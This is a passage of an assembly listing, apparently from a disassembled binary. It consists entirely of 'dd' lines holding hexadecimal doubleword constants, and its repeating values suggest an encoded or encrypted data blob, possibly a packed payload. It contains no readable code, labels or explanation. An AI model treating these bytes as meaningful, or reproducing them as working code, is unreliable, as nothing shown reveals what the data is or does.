		dd 84A0DB84h, 5A7B5619h, 0FD6CAE85h, 54A9F4AFh,	0A197539h
		dd 73A45FF0h, 233A4519h, 0F8FD1903h, 4F084EBDh,	94A0437Ch
		dd 5DEA0A19h, 1A5ACB91h, 0D8FB610Dh, 4514275Dh,	0C7F895EEh
		dd 16773D5Dh, 0CF07DE0Eh, 0B5B4FD19h, 929D2EF2h, 13BBAE1h
		dd 0ADA19182h, 0C964366Ch, 14D69EADh, 0D2C2CE66h, 5A7B5619h
		dd 0FD6CAE85h, 0E391AAD0h, 730A7530h, 45180433h, 0D75A2F3Eh
		dd 112B1ADh, 866CAE85h,	377D26D4h, 9ED11804h, 1DD16893h
		dd 0DE88944Fh, 3A45CF07h, 0E5CF0323h, 225C3A45h, 0D1876509h
		dd 0B8D32D00h, 270D36B4h, 3E45E5CFh, 1804072Fh,	72F3E45h
		dd 3E45D4D8h, 0EFB5072Fh, 12D4045h, 7194504h, 1E3C1750h
		dd 97AAD75Eh, 0FD1940ECh, 0D02CCC8Bh, 8B31ABBBh, 0BB64D36Ah
		dd 0BCF089F0h, 4045773Dh, 773D012Dh, 7DE0E16h, 2F3E45CFh
		dd 8FFD1907h, 1872D780h, 0CDCEC594h, 4A6CADB4h,	16BB6718h
		dd 9649E01Bh, 0AB3A458Eh, 2B776AC3h, 55D98F4Ah,	40451804h
		dd 5E162752h, 240BDE8Ch, 38A242DFh, 0A191D07h, 0BFA55EEFh
		dd 0DE555F53h, 4045CF07h, 0AAD15C2Dh, 0F4F891ECh, 3EAC4076h
		dd 0D4D81F05h, 49D0FFF6h, 0CF07DE5Bh, 23AAFD19h, 7CB11CF8h
		dd 0E917CBC5h, 17C84C1Ah, 0C864F50Ch, 5CF10A19h, 4329CA90h
		dd 6AA940BAh, 40841F23h, 0ADF6504Dh, 0F7A5F76Ch, 0AFE560CCh
		dd 0D96CAE84h, 6F102D4Ah, 0DEC3D1C5h, 3E45CF07h, 61172450h
		dd 45E5CFCDh, 8D5C2D40h, 0AE851506h, 4DE0B26Ch,	93492538h
		dd 0E5CF44E0h, 10A73E45h, 0B00C21Bh, 91671784h,	3B1C076Bh
		dd 45041915h, 0E8A75219h, 0B5184A09h, 6CAE35A8h, 944F7D2Fh
		dd 5D394588h, 8D5F1726h, 180457DFh, 7DEC3D1h, 2F3E45CFh
		dd 0F6E5CF07h, 3E4519B6h, 0EFB5072Fh, 72F3E45h,	52EB0A19h
		dd 59BC9724h, 0F6A9CA99h, 659F9225h, 450329CAh,	40D213Ch
		dd 213C4518h, 11028150h, 1B6CAE85h, 194B4FE2h, 18043E66h
		dd 452DFAF6h, 8255240h,	1CD08664h, 0BFB7C631h, 298F56E8h
		dd 7DEE448h, 213C45CFh,	7B56190Dh, 6CAE855Ah, 23F4AFFDh
		dd 213C45C9h, 58A28150h, 50BD2FC7h, 6CAE8543h, 0D46896C4h
		dd 519284B5h, 4C3690Ah,	2FFCF618h, 7DE091Bh, 213C45CFh
		dd 45E5CF0Dh, 0E1F5E3Ch, 1804D458h, 92B08F6h, 0CF07DE1Bh
		dd 50ED0A19h, 0BB47469Ch, 7B8D0345h, 7683AA55h,	0E5CF4BDBh
		dd 0D213C45h, 5CF10A19h, 2D00B9A3h, 0EA5231D4h,	0DF4585B8h
		dd 9844529h, 6CADB70Ch,	82BD98Bh, 0DB56192Ch, 16078EA1h
		dd 0B16CAE85h, 8DD530E3h, 0A6B044DDh, 43233A45h, 0EE8697E6h
		dd 13A54046h, 84F27108h, 0BE61FBEBh, 0CF07DEF6h, 50213C45h
		dd 85110281h, 0E4B66CAEh, 0E5CF713Bh, 0D213C45h, 3C451804h
		dd 0FD190D21h, 42A122E1h, 955F0072h, 5C3A45A9h,	0CB5B0922h
		dd 5FF00A19h, 422AD597h, 0DEDBC9E6h, 619F9207h,	0BE3B26CEh
		dd 6B19C3A3h, 3C45EC48h, 0E5CF0D21h, 0C203B45h,	3C451804h
		dd 0A190D21h, 0C89252EBh, 45E14D17h, 40D213Ch, 0DE555F18h
		dd 3B45CF07h, 773D0C20h, 50213C45h, 85110281h, 0E4B66CAEh
		dd 0A19713Bh, 0C89252EBh, 459B8B17h, 0CF0C203Bh, 304BB5B8h
		dd 5619250Fh, 0AE855A7Bh, 0F4AFFD6Ch, 334250A9h, 0E2904A1Ah
		dd 45180442h, 0B26533Fh, 0ED3815Bh, 0AABAD523h,	4250F30h
		dd 19DBC918h, 699A19FDh, 15CE9218h, 45925295h, 15DDA93Ch
		dd 472F371Dh, 0E5CF9D91h, 5C2D4045h, 0DD91ACD1h, 7D710A70h
		dd 0F7439EFh, 3DDB4172h, 213C4577h, 94A7DD50h, 1BCB6299h
		dd 0C2969E41h, 7B5619D2h, 6CAE855Ah, 96ABD0FDh,	0B743FE0h
		dd 0D722F009h, 0E3CAE46h, 8547547Bh, 92C06CAEh,	0E5CF40ECh
		dd 0D213C45h, 5A7B5619h, 0FD6CAE85h, 0CE8F4AFh,	7FF10A19h
		dd 0AE854350h, 0E096C46Ch, 0FEA55E0Ch, 440EC81h, 5D394518h
		dd 0B591528h, 8FC68754h, 31E79569h, 0B245047Dh,	0AE84FE1Fh
		dd 0ADF7C36Ch, 0EE6904F3h, 9D87B8EAh, 412D4045h, 0E2829FE4h
		dd 6BAA7D4Dh, 0A24E7C0Bh, 0EC0A19BEh, 0C71EA053h, 8BA6DF52h
		dd 0D32C01DBh, 459F85BEh, 2A50213Ch, 53AD2667h,	0DC587B68h
		dd 0DAE9B8CFh, 6CAE84B9h, 567D0C5Eh, 6CAE8545h,	45EF90C2h
		dd 5EEF0A19h, 692BD496h, 7A639B36h, 0EA23CC6Dh,	45C26A15h
		dd 19022239h, 855A7B56h, 0AFFD6CAEh, 8E51E8F4h,	0AE851203h
		dd 3CE7B56Ch, 0A5404570h, 6759BE99h, 65C9FFCBh,	555F1804h
		dd 5FF00A19h, 3C362A4h,	19CF07DEh, 0B760EFFDh, 0EB94CCB2h
		dd 0A1A3740h, 5EEF0A19h, 0E093AED7h, 0B3E51804h, 0F86CAE84h
		dd 7DE35FFh, 213C45CFh,	45E5CF0Dh, 16275240h, 4504CC60h
		dd 84FE1FB2h, 0CB996CAEh, 56190C28h, 0AE855A7Bh, 0F4AFFD6Ch
		dd 0AA5A5209h, 555F59A6h, 9F9207DEh, 814CF62h, 50213C45h
		dd 85110281h, 0E4B66CAEh, 0E5CF713Bh, 2A533F45h, 0DF8D5F17h
		dd 45180457h, 403233Ah,	233A4518h, 9746245Eh, 0CAC9DE8Eh
		dd 45040329h, 84FE1FB2h, 0B4996CAEh, 530C324Fh,	0DE555FC9h
		dd 3F45CF07h, 0ABD65D2Ch, 0D76A9392h, 0D4D8002Ch, 0DFF33F45h
		dd 896CAE84h, 23C35C9Ah, 603286B9h, 45D4D8CCh, 0DA472F3Eh
		dd 0F78AF3A1h, 287A2DC1h, 88E4BBFDh, 52EB0A19h,	9717C892h
		dd 3F459050h, 63112853h
		dd 48B2B5C3h, 0FDCF52CDh, 0EEB669D3h, 12D4045h,	0A2F6D4D8h
		dd 0DE5B4945h, 5619CF07h, 0AE855A7Bh, 1C27FD6Ch, 2746D60Bh
		dd 0AB033CE2h, 0A197047h, 68205EEFh, 0F319A0B9h, 87FDB85Bh
		dd 0AE02272Bh, 0B2F2A06Ch, 3F45EFB5h, 44517C0Fh, 0C36CAE85h
		dd 851F3C91h, 0C9B86CAEh, 0AE84D9FAh, 7E2C7E6Ch, 0A19E448h
		dd 0EAF50EDh, 7B561926h, 6CAE855Ah, 0A9F4AFFDh,	4773F4Eh
		dd 0AB3A4518h, 0A5AB0A6Fh, 7B2BD9ECh, 3F45773Dh, 773D002Ch
		dd 7DE062Eh, 5C3A45CFh,	0C9650B20h, 3A45D2C2h, 45040323h
		dd 0F4F895EEh, 0AFC23F76h, 4045A8F4h, 1804012Dh, 412D4045h
		dd 0EC8099E4h, 1DA34244h, 0A19F25Ah, 60A25DEAh,	0A3DD50C5h
		dd 454DD788h, 0CF03233Ah, 223945E5h, 45180402h,	403233Ah
		dd 2DFAF618h, 7DE091Bh,	233A45CFh, 45E5CF03h, 1903233Ah
		dd 915DEA0Ah, 84B8A5E8h, 0D5F6CAEh, 0AB81A45Fh,	29533F45h
		dd 0CE916016h, 0AE84D2C3h, 7C27756Ch, 1773D30h,	0CF07DE13h
		dd 0C407FD19h, 5DA9C95Fh, 657CFBA2h, 0FECEAA6h,	1B0B39FFh
		dd 66B9FD19h, 3B004E89h, 1AC0ACBBh, 7F674B74h, 22013945h
		dd 31ABBBD4h, 8493870Eh, 66346CAEh, 0C8619C93h,	979D4624h
		dd 0CBC689D8h, 6CAE84CAh, 38794E0h, 8AA7DC51h, 0D55F00DAh
		dd 0DFF33F45h, 786CAE84h, 0AEC8272Ah, 850213BEh, 0D7856CAEh
		dd 59F20C21h, 2CD795h, 0A02C5619h, 2035408Dh, 0D8C5D63Fh
		dd 10426CADh, 0C755596Fh, 0CF07DEDDh, 0DDFD3945h, 7A6CAE84h
		dd 0AFCA5928h, 0D7C4CB9Eh, 706CAE84h, 0B52B7122h, 223945EFh
		dd 0E9B8CF02h, 0AE84B9DAh, 530C5E6Ch, 233A45C9h, 19450403h
		dd 0E7996181h, 58C4FFEBh, 0AEA920E5h, 0DBC90B6Ch, 19CF07DEh
		dd 8760BFFDh, 16C9E0CDh, 0DC26F00Fh, 0A5B1A343h, 0AA320587h
		dd 4BABFAA8h, 84AA303Ch, 19E5CFA8h, 855A7B56h, 0AFFD6CAEh
		dd 3F4EA9F4h, 19E5CF77h, 0D12FED0Ah, 634B6BEh, 0B7BFD22Fh
		dd 0B3B90A35h, 3F45D5DFh, 0A9D65D2Ch, 0CBF990EBh, 45040C28h
		dd 0F0FC91EEh, 85597A49h, 0ACFE6CAEh, 8FE240FEh, 0F87644EAh
		dd 7C205DC7h, 5A7B5619h, 0FD6CAE85h, 53A9F4AFh,	43233E47h
		dd 0D0699499h, 94984E1Ch, 3A45E5CFh, 18040323h,	0AE84F8E5h
		dd 0A19336Ch, 0B79252EBh, 0AE3C3047h, 215CC7F8h, 0A0B9C42Bh
		dd 0A6B71ECCh, 216CAE84h, 0CFE14D73h, 2C3F45E5h, 0EE450400h
		dd 47B7FE8Fh, 0F5AE3C30h, 233A45AFh, 0B2450403h, 0AE84FE1Fh
		dd 0BDCE346Ch, 85D72BB1h, 0C3D152DAh, 19CF07DEh, 8883BAFDh
		dd 9061846Fh, 0AE25203Dh, 0CAF5A76Ch, 0E8E1963h, 0D4427222h
		dd 0E7F4DBAEh, 606CAE33h, 0CF200C32h, 233A45E5h, 0E5E5CF03h
		dd 6CAEF039h, 22394572h, 19450402h, 1A4591B5h, 0C56F1053h
		dd 0A9D25110h, 5102D894h, 0A9AA19CBh, 2E6CAE84h, 0B8CF307Ch
		dd 9337B42h, 0BE612B71h, 84F8E5F6h, 45336CAEh, 0CF022239h
		dd 2C3F45E5h, 45180400h, 4022239h, 8568FF18h, 6A32ED80h
		dd 45CF07DEh, 0CF002C3Fh, 223945E5h, 14018C5Fh,	0B36CAE85h
		dd 0CF763EE1h, 40C10E5h, 2C3F4518h, 10180400h, 0ADAA190Ch
		dd 2A6CAE84h, 0E5CF3478h, 9CA43F45h, 0C554A32Ah, 9493029Fh
		dd 0E21C13E6h, 8C9DE449h, 0D3597AE0h, 0C10E5CFh, 1FB24504h
		dd 6CAE84FEh, 0C28CB99h, 3440AFA2h, 45307C27h, 19072F3Eh
		dd 0EC9BFFFDh, 0ADD2B4A1h, 0DB01536Ch, 64C9EC35h, 0FA600C1Dh
		dd 193713D9h, 0AE84A9AAh, 647C2E6Ch, 0F10A19F8h, 0E9A4A35Ch
		dd 6CAE84ECh, 0CF75396Bh, 0A438E5E5h, 45736CAEh, 8E8F023Ch
		dd 96CAE84h, 19F9B55Bh,	9252EB0Ah, 84B7A4EBh, 2506CAEh
		dd 5DB9A35Ch, 57233A45h, 0EA0A19CBh, 28CB915Dh,	85617251h
		dd 0B4E66CAEh, 0B8E5CFF8h, 36F18CF5h, 0ED0A19DEh, 15CE9C50h
		dd 0A19C76Bh, 0CA905CF1h, 84B1A229h, 0FFFA6CAEh, 0EB0A1935h
		dd 0C661A152h, 19F2A20Eh, 0A45FF00Ah, 0C7CA84F9h, 6CAE84D6h
		dd 888A1DCh, 19F8B45Ah,	0A45FF00Ah, 51105CB8h, 8512038Eh
		dd 98B56CAEh, 4725C962h, 1946EE91h, 0AE84A9AAh,	705F2E6Ch
		dd 6CAE8563h, 0ECA3B6E4h, 6CAE84EFh, 45143A68h,	6BBBD319h
		dd 0B9DFB79Bh, 0D064C53Fh, 210B34DAh, 5FF00A19h, 0B54473A4h
		dd 0AE84FD1Eh, 17C89A6Ch, 0EB0A190Dh, 0F25AA152h, 39727FA6h
		dd 5C2D4045h, 0DE96A5D1h, 0CFC9530Ch, 0EF0A19E5h, 85FEA55Eh
		dd 180444E8h, 898571E5h, 35FFBAC3h, 45CF07DEh, 92830E40h
		dd 356CAE84h, 9FB0CE67h, 54E218E9h, 642A1070h, 0B3B3CA35h
		dd 0DC587B29h, 4045E5CFh, 0FF265C2Dh, 0EA1DCDF2h, 6E72632Eh
		dd 47156CAEh, 446EE91h,	0FA93EE45h, 0B62C2E5Ch,	0E699B1BBh
		dd 213C45BEh, 89A4DD50h, 627F8FE5h, 2FB6E3E3h, 4DE4679h
		dd 5E3C4518h, 85670F20h, 0C4321FD7h, 0AD1BBBABh, 0F7FDC47Ah
		dd 45CF07DEh, 0CF012D40h, 0E57C20E5h, 6CAE84F8h, 2D404533h
		dd 829FE441h, 0AA7D4DE2h, 707C0B6Bh, 0D9D3C4EAh, 5DEA0A19h
		dd 50C560A2h, 0E88BA2DDh, 45F2A24Ch, 50B4AA39h,	846C860h
		dd 1804CA5Ah, 0A190C10h, 0A7A25DEAh, 0B44DEE14h, 9C793273h
		dd 80FB18E3h, 0B19C6CAEh, 210D334Ah, 0E4E5E5CFh, 0CFA6A5F5h
		dd 2223945h, 3945E5CFh,	0FD190222h, 930BB72h, 0AC486B21h
		dd 0F581E540h, 0AADBDAh, 9207DE1Ch, 4741609Fh, 74D447A4h
		dd 0B5FFA056h, 2223945h, 4BB5B8CFh, 0F5AE3C30h,	0A54045AFh
		dd 5F9818A7h, 2B822C2h,	0FDA3C11Dh, 194504B1h, 0A4535B5h
		dd 0D55F00E6h, 8BFD19h,	67A353DBh, 518F684Bh, 27D8243Ah
		dd 3189C4DCh, 35FFEFC1h, 5FF00A19h, 8904D597h, 6CAE848Ch
		dd 64A6590Bh, 404501C1h, 0E5CF012Dh, 12D4045h, 93EE4504h
		dd 0F40FEAFAh, 0A08CB765h, 2223945h, 0C3D11804h, 45CF07DEh
		dd 0D15C2D40h, 42EA95A8h, 5EEF0A19h, 451874A5h,	4012D40h
		dd 90FDE518h, 0D136C131h, 0A86A939Eh, 660E3C4Dh, 1951DB84h
		dd 855A7B56h, 0AFFD6CAEh, 33F332F4h, 12D4045h, 0DAE9B8CFh
		dd 6CAE84B9h, 0C9530C5Eh, 2223945h, 782CE5CFh, 0B361FC05h
		dd 0B24504F3h, 84AFACE3h, 7A286CAEh, 0AE848A8Bh, 0A45F0D6Ch
		dd 2F3E45F8h, 45E5CF07h, 0CF012D40h, 0ED0A19E5h, 0A6ED9C50h
		dd 6CAE84B5h, 0A1520052h, 0F8E5B39Fh, 336CAE84h, 7DE35FFh
		dd 19F2A2CFh, 9798CFFDh, 7E874EDEh, 0AB5903E3h,	3B52AD88h
		dd 0EE45046Bh, 6AF0FC91h, 27B2E349h, 2C9C9D97h,	19CA5622h
		dd 0AE84A9AAh, 0B5F42E6Ch, 705B9FAFh, 0CFF5B96Fh, 457C20E5h
		dd 0D35E233Ah, 0F91AA9A5h, 9E6CAE84h, 94561ECCh, 0B8CF41EBh
		dd 0E314CB5h, 233A4526h, 0E5180403h, 6CAE84F8h,	8EB9746Eh
		dd 3E26F9Bh, 0B02822D5h, 9142E0E2h, 0DEC3D18Bh,	0CCC39207h
		dd 6CAE84CFh, 1819CE5h,	4584A053h, 0CF03233Ah, 0EB0A19E5h
		dd 4AB79252h, 0FFAD3F37h, 0F1E59C4h, 7B561927h,	6CAE855Ah
		dd 0E8F4AFFDh, 84F8E50Ch, 0FF336CAEh, 9207DE35h, 24C85F9Fh
		dd 0FF92EF46h, 0E24A75F7h, 0C1C0FD19h, 0EDC6CA86h, 0ADE3B5A6h
		dd 5200526Ch, 0E413008Fh, 0E6B46CADh, 7607763Dh, 60147B63h
		dd 8F1D3466h, 5309E574h, 0E47580ADh, 0E5CF713Bh, 18040C10h
		dd 3233A45h, 8EEE4504h,	105EC6F9h, 0ADAA190Ch, 2A6CAE84h
		dd 56193478h, 0AE855A7Bh, 86AFFD6Ch, 5C0EE677h,	451A72A3h
		dd 0CF03233Ah, 40C10E5h, 45F2A218h, 4002C3Fh, 190C1018h
		dd 8EA1DB56h, 84EDEED5h, 386A6CAEh, 0E5E5CF74h,	6CAE8503h
		dd 0F3F4528h, 0F973D5D7h
		dd 588963Ah, 6CAE1B18h,	773FEDBFh, 3E45E5CFh, 1804072Fh
		dd 5D2C3F45h, 0DF97A8D6h, 4CA520Dh, 0F98EEE45h,	3F455EC6h
		dd 9CE5402Ch, 7CF7ED81h, 3AF1D6C7h, 1249217h, 9B1D3737h
		dd 6E1C4682h, 7DE654Bh,	2F3E45CFh, 10E5CF07h, 97E32551h
		dd 0E18D9EE4h, 0CCBDDD7Bh, 411BC4Dh, 836CAD9Bh,	19062ED1h
		dd 855A7B56h, 810C6CAEh, 6CAE8494h, 33616133h, 12A56400h
		dd 464FE21Fh, 6CAE8555h, 0B5FFA0F2h, 4C97FD19h,	0DBFE2FEFh
		dd 74077D38h, 20E5CF38h, 84F8E57Ch, 0D1336CAEh,	0D168939Eh
		dd 7DE062Eh, 0ED0A19CFh, 3363AF50h, 5A45FD19h, 5F9BC71Dh
		dd 77F786EBh, 0F2AD5395h, 753950ABh, 0F9E51804h, 6F6CAE84h
		dd 4687980h, 5AD9B462h,	4AD28DB3h, 7DE33E1h, 42747CFh
		dd 0FD0C514Eh, 20000001h, 0C203B45h, 1083FD19h,	0EC8E62C3h
		dd 45CD2933h, 14295240h, 1804CE66h, 8AF77AE5h, 4045B17Bh
		dd 67152252h, 45E5CFCFh, 4012D40h, 0F778E518h, 0FFB37B8Ah
		dd 9207DE35h, 4B8F1168h, 2DD6CC5Ch, 2D404507h, 45E5CF01h
		dd 4012D40h, 0BC431945h, 83AB6FDBh, 3B4554D0h, 848F8C03h
		dd 5A086CAEh, 0EC92ADCBh, 0ED0A1940h, 15CE9C50h, 4045A884h
		dd 0B8CF012Dh, 0FFF8E942h, 6D1623C4h, 2F3E45C7h, 17048B5Ah
		dd 0B06CAE85h, 46B31E2h, 0BB0BE518h, 0AA7D7223h, 7D178BB0h
		dd 0C816739h, 72240B0Fh, 0C259A588h, 50EB111Ch,	0F15CE9Ch
		dd 69939ED1h, 84BDDEF5h, 85A6CAEh, 2FD08A5Ah, 0ED0A1905h
		dd 0C81FAF50h, 2C561908h, 7E66E7BEh, 4A4BBA9Dh,	0CD6CAE0Bh
		dd 42B9E49Fh, 0E5CF7B2Bh, 72F3E45h, 3B451804h, 18040C20h
		dd 0A19C3D1h, 60C2DBECh, 6F02CDD4h, 0C37B5B9h, 45AB6BBAh
		dd 1029503Eh, 0D4FB8E5Ch, 6CAE84C7h, 9D6C1240h,	84D6C7CAh
		dd 23716CAEh, 9458F502h, 0CF072DD6h, 2F3E45E5h,	7B561907h
		dd 6CAE855Ah, 7C86AFFDh, 0C83430E3h, 23BB0BE5h,	0F0017D72h
		dd 7BF17EDAh, 0FF101CC7h, 7B561935h, 6CAE855Ah,	32F4AFFDh
		dd 7A836EF3h, 0A25D0FE7h, 503E45FAh, 42411029h,	6CAE8551h
		dd 0BEF6A4F6h, 0C10E5CFh, 8EEE4504h, 6277F5F9h,	0AE852E2Fh
		dd 0D8FBA96Ch, 190C105Ch, 9353EC0Ah, 3E3647B6h,	1FC5FEACh
		dd 0EBCA746Eh, 41E193AAh, 0DABCDABh, 6A90742Ah,	33567322h
		dd 62ED1B6h, 0C203B45h,	7C20E5CFh, 0AE84F8E5h, 0C3D1336Ch
		dd 0A2CF07DEh, 352120F2h, 0E680B37h, 4DEB717Dh,	87FCB69Bh
		dd 0B260FAEAh, 10B92004h, 0C7F85FD8h, 84F8E55Dh, 0D1336CAEh
		dd 5D64939Eh, 0E6DDF5C5h, 0EF4674B4h, 70EAFA95h, 7DEE54Fh
		dd 0B9F2A2CFh, 97Bh, 2C3BBBB6h,	0B3F99A40h, 5A2F3E45h
		dd 0D292ADD7h, 4CD5708h, 0EA0A1918h, 5ACB915Dh,	7550031Ch
		dd 6CAE856Fh, 2F3E4544h, 8FA0DA47h, 0A77E30E7h,	1994B811h
		dd 0A25DEA0Ah, 0DD50C560h, 4CE88BA2h, 5A7B5619h, 0FD6CAE85h
		dd 13ABF4AFh, 10514E04h, 353h, 0DF41E514h, 64376CAEh, 0AEDF2C29h
		dd 60FD066Ch, 1B013260h, 3233A45h, 5EEF0A19h, 230EBFA5h
		dd 909C47DAh, 0A9D25110h, 0D402D894h, 2AB1A01Fh, 0CD57089Bh
		dd 84A9AA19h, 7C2E6CAEh, 2C561930h, 9F6687BEh, 6B6865B2h
		dd 416CAE60h, 0F1A32736h, 0E587EDCEh, 6CAEE580h, 0C4FD19ABh
		dd 0E62C8235h, 0F1E2A1B0h, 966CADEAh, 0E7101BC4h, 0FD19DA4Ah
		dd 50B10AF1h, 670D36B0h, 122D4BA6h, 0C103B61h, 52EB0A19h
		dd 0B7A4EB92h, 506CAE84h, 0A4A35C02h, 0AE84ECE9h, 75396B6Ch
		dd 3A45E5CFh, 45040323h, 84FE1FB2h, 0CB996CAEh,	990E69ADh
		dd 0F89B1E0Bh, 0EF5E5BCh, 193E71C9h, 8B5EEF0Ah,	0AE851704h
		dd 31E2B06Ch, 32720B6Ah, 4FB5B8CFh, 89AA303Ch, 233A45A3h
		dd 0B2450403h, 0AE84FE1Fh, 5ACB996Ch, 0FA600C21h, 3C4553D9h
		dd 0B8CF0D21h, 23D50B5h, 233A451Ah, 0EB0A1903h,	85415271h
		dd 94C66CAEh, 90FC3DE6h, 0D213C45h, 1FB24504h, 6CAE84FEh
		dd 0B8A5E899h, 5F6CAE84h, 0F8A45F0Dh, 76AB3A45h, 8A50A0A5h
		dd 0CFC26210h, 213C45E5h, 7B56190Dh, 6CAE855Ah,	14018CFDh
		dd 0B36CAE85h, 4F8533E1h, 0DE2AC790h, 17A2732Ch, 9A4C4944h
		dd 99CB6CADh, 0FD19BEE6h, 0D0C7CC7Fh, 82A94A2Eh, 44EE677h
		dd 3A4518h, 0CBD0ADDAh,	7855E2D9h, 6CAE235Bh, 0E9F8AEFCh
		dd 236A6B26h, 0CB76CAEh, 0FBC0E6D5h, 2DD68404h,	0F00A1907h
		dd 2AD5975Fh, 4BB4BB42h, 6F027F36h, 723AE587h, 7DEC3D1h
		dd 0CFCCC392h, 486CAE84h, 52ED0B1Ah, 0D17C892h,	50ED0A19h
		dd 0EC7D84AFh, 45E5CF40h, 0CF03233Ah, 768242B8h, 0EB68A06h
		dd 2120CF55h, 0C8A4B9C2h, 0E53B6112h, 6CAE84F8h, 0E679836Eh
		dd 0F8265C0Eh, 7FA8348Fh, 4555DF80h, 669DA93Ch,	32112C5Dh
		dd 7A85600Ch, 0A9C03E3h, 0E77265DBh, 7A5C7954h,	21FB6CAEh
		dd 0B1E98921h, 80B36170h, 9207DEA4h, 26CE619Fh,	0A2919B44h
		dd 533F45F2h, 0CD61172Ah, 51101804h, 0C594A9D2h, 0AE84CDCEh
		dd 67184A6Ch, 0F00A193Dh, 9341DA20h, 0A9AA19E0h, 2E6CAE84h
		dd 0B8CF307Ch, 84B9DAE9h, 0B3046CAEh, 85D7BD14h, 4E7123A7h
		dd 0EF3E5E6h, 453871C9h, 0E04D213Ch, 0AD68495h,	19180426h
		dd 0E6FDA0FDh, 9E418583h, 52D26D97h, 7C20E5CFh,	0AE84F8E5h
		dd 75836E6Ch, 0AF500ADAh, 0DEC3D185h, 0F2A2CF07h, 5A7B5619h
		dd 0FD6CAE85h, 52A9F4AFh, 0FD196B3Bh, 0AB66DF0h, 0AFB56EF3h
		dd 0B45AE543h, 0D151BD08h, 0D3C0CF9Eh, 746CAE84h, 0DE377D26h
		dd 0FD19CF07h, 0B41B7FF2h, 6CADB5A7h, 8FC47220h, 4FD689CBh
		dd 9747AD34h, 0B66BFFFh, 0E5CFC965h, 72F3E45h, 3F451804h
		dd 1804002Ch, 7DE35FFh,	0A73E45CFh, 1343D28Fh, 0C5691F5Ch
		dd 3E45E5CFh, 1804072Fh, 8B45AE5h, 3B4551BDh, 95E14C20h
		dd 69B9EE86h, 0A58F78BEh, 5A7B5619h, 0FD6CAE85h, 2E9271AFh
		dd 712ADF8h, 5B9B4A5Ch,	68A73E45h, 880AAD7h, 6FBF863Ch
		dd 0E405764Dh, 0E5CF7E36h, 18040C10h, 2C3F45h, 7C20E5CFh
		dd 0AE84F8E5h, 0C3D1336Ch, 0A2CF07DEh, 5D5B9F2h, 0E5EB0000h
		dd 6CAEDB39h, 5D394572h, 0CD611726h, 0C101804h,	677EFD19h
		dd 1F4A1DC4h, 2D2E6564h, 0AA6CADB4h, 0A19B4F8h,	70A152EBh
		dd 0EFFD1924h, 254B778h, 6F6C2336h, 0E86CAD8Dh,	4BF799BAh
		dd 2223945h, 3B45E5CFh,	0FD190C20h, 0AA57E40Fh,	0C9934CF4h
		dd 4090CA30h, 4DEB86F3h, 639CA51h, 0F79CE51Eh, 90CA7AB1h
		dd 67002EE8h, 0EEB669CBh, 8C033B45h, 6CAE848Fh,	0F8B45A08h
		dd 3B45E5CFh, 0FD190C20h, 9D559A0Dh, 0DA82BDF6h, 0E9CCE57Eh
		dd 0B7BA897Fh, 0AF3D3148h, 0C3D1A8F4h, 45CF07DEh, 15245F3Bh
		dd 622B0B59h, 10AB662Fh, 0CFF0BC62h, 0AC6842B8h, 0DB77117Ch
		dd 3B457C38h, 18040C20h, 5A2F3E45h, 7A77B220h, 0FCA75E49h
		dd 194504B0h, 45CB7433h, 1E0639A9h, 0D7F00A19h,	33E070CEh
		dd 14CFFDADh, 0D05CEF09h, 3E45E5CFh, 0AAD75A2Fh, 520DDF97h
		dd 45E5CFCAh, 19072F3Eh, 9353EC0Ah, 0E24E16C9h,	0AE84F5E5h
		dd 0E8B43E6Ch, 45CF07DEh, 0CF072F3Eh, 203B45E5h, 88A5D251h
		dd 0D75D06E4h, 3E451804h, 0A19072Fh, 0AAD75EEFh, 520DDF97h
		dd 3B45AE8Ah, 0E5CF0C20h, 72F3E45h, 0DAE9B8CFh,	6CAE84B9h
		dd 0C9530C5Eh, 0C203B45h, 79E51804h, 0EF41D9ADh, 6C1002F7h
		dd 11E05138h, 0D9B0A1B2h, 4B742641h, 0DEC3D1E1h, 3B45CF07h
		dd 0E5CF0C20h, 5F223945h, 0C5D6FD8Ch, 426CAE84h, 84A0BD10h
		dd 75276CAEh
		dd 1804E24Ah, 0C8ACE3E5h, 0C3D1C8E9h, 45CF07DEh, 0D05F2239h
		dd 46EE91AAh, 0ECA3FD19h, 0CED17CE3h, 88366C42h, 0E88B2119h
		dd 3945EDC7h, 18040222h, 51203B45h, 8512038Eh, 9CEF6CAEh
		dd 5A28C60Eh, 0C5FEAC2Ch, 0D118045Fh, 0EB0A19C3h, 0C661A152h
		dd 8BA0DC53h, 39454CE8h, 3DD2F7AAh, 0A7554705h,	19E5CF8Fh
		dd 855A7B56h, 2B506CAEh, 3FE0B216h, 0F20C0874h,	4BA6AB59h
		dd 8A501C2Bh, 0A1943E9h, 0C5AF50EDh, 0ACE3E559h, 0FFC8E9C8h
		dd 0DBBDD968h, 42DB2B03h, 0E71D3E97h, 0E8BA6CADh, 7DE6D37h
		dd 0CF629F92h, 929A4527h, 245D3945h, 0AE876509h, 0B735394Eh
		dd 0E5CFAD81h, 0C203B45h, 3945E5CFh, 45040222h,	0C3FC91EEh
		dd 84F8E559h, 0FF336CAEh, 0CF07DE35h, 2223945h,	0C10E5CFh
		dd 39451804h, 18C5F22h,	6CAE8514h, 304CE1B3h, 43C781Bh
		dd 190C1018h, 829DDB56h, 29C554A3h, 1C0580B3h, 0BB6CAE85h
		dd 31E218E9h, 2F777769h, 1984A053h, 0B088756h, 8C6CAE85h
		dd 84E6F7DEh, 0B1CC6CAEh, 496A3898h, 39450C68h,	0A190222h
		dd 45D423F1h, 520DDF97h, 0F2A26B41h, 5A2F3E45h,	0F0B63820h
		dd 6B14C2ACh, 101804C1h, 7B56190Ch, 6CAE855Ah, 7886AFFDh
		dd 0A25D0FE7h, 84EBE8A7h, 3E6C6CAEh, 20E5CF76h,	7B56197Ch
		dd 6CAE855Ah, 14018CFDh, 0B36CAE85h, 632E33E1h,	6CAE8572h
		dd 319C4715h, 6CAE8624h, 0DE35FF0Fh, 0F2A2CF07h, 5DEA0A19h
		dd 0EE81FBA2h, 10180446h, 0A9AA190Ch, 2E6CAE84h, 0B45AF503h
		dd 19E5CFF8h, 0D352EB0Ah, 0E3EA95A4h, 6CAE84F0h, 2C3F453Bh
		dd 0B2E5CF00h, 0C6CDFA82h, 6CAE31D5h, 3FA2072h,	1D01D9FAh
		dd 0FC2C5619h, 9B12409h, 0D0CDC8EBh, 776CADBBh,	18040925h
		dd 50ED0A19h, 0E15CE9Ch, 485578F4h, 0CF6CAE85h,	447EF9Dh
		dd 0DEC3D118h, 0CCC39207h, 6CAE84CFh, 33791A48h, 0E03404B2h
		dd 7A81D836h, 0AB5903E3h, 0CD40550Dh, 740C411Eh, 0AEAFE2B5h
